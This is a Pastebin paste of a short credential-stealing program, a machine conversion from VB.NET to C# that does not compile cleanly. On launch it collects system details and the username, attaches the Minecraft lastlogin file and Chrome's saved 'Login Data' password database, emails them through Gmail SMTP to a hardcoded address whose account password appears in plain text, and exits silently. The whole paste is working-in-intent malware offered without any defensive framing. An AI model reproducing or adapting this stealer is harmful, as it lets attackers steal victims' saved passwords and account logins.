Advertisement
Guest User

Untitled

a guest
Jan 6th, 2017
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.00 KB | None | 0 0
  1. using System.Net.Mail;
  2. using System.Net.Sockets;
  3. using System.Net;
  4. using System.Text.RegularExpressions;
  5. using System.Text;
  6. using System.Management;
  7.  
  8. public class Form1
  9. {
  10.     private void  // ERROR: Handles clauses are not supported in C#
  11. Form1_Load(System.Object sender, System.EventArgs e)
  12.     {
  13.         string myhost = System.Net.Dns.GetHostName();
  14.         string myip = System.Net.Dns.GetHostAddresses(myhost).GetValue(2).ToString;
  15.         MailMessage MyMailMessage = new MailMessage();
  16.         try {
  17.             MyMailMessage.From = new MailAddress("tobiw049@gmail.com");
  18.             MyMailMessage.To.Add("tobiw049@gmail.com");
  19.             MyMailMessage.Subject = ("Data Sender");
  20.             MyMailMessage.Body = ("Local IP: " + myip + Constants.vbNewLine + "Machine Name: " + myhost + Constants.vbNewLine + "OS Name: " + My.Computer.Info.OSFullName + Constants.vbNewLine + "OS Version: " + My.Computer.Info.OSVersion + Constants.vbNewLine + "OS Platform: " + My.Computer.Info.OSPlatform + Constants.vbNewLine + "Username: " + System.Environment.UserName + Constants.vbNewLine + "Sender: " + System.Environment.CommandLine + Constants.vbNewLine + "System Directory: " + System.Environment.SystemDirectory + Constants.vbNewLine + "Username: " + System.Environment.UserName + Constants.vbNewLine + "PC Time: " + My.Computer.Clock.LocalTime + Constants.vbNewLine + "Availible Memory: " + My.Computer.Info.AvailablePhysicalMemory.ToString);
  21.             object mc = new Attachment("C:\\Users\\" + System.Environment.UserName + "\\AppData\\Roaming\\.minecraft\\lastlogin");
  22.             object chrome = new Attachment("C:\\Users\\" + System.Environment.UserName + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
  23.             MyMailMessage.Attachments.Add(mc);
  24.             MyMailMessage.Attachments.Add(chrome);
  25.             SmtpClient SMTP = new SmtpClient("smtp.gmail.com");
  26.             SMTP.Port = 587;
  27.             SMTP.EnableSsl = true;
  28.             SMTP.Credentials = new System.Net.NetworkCredential("tobiw049@gmail.com", "Tobias77567");
  29.             SMTP.Send(MyMailMessage);
  30.             Application.Exit();
  31.         } catch (Exception ex) {
  32.         }
  33.  
  34.     }
  35. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement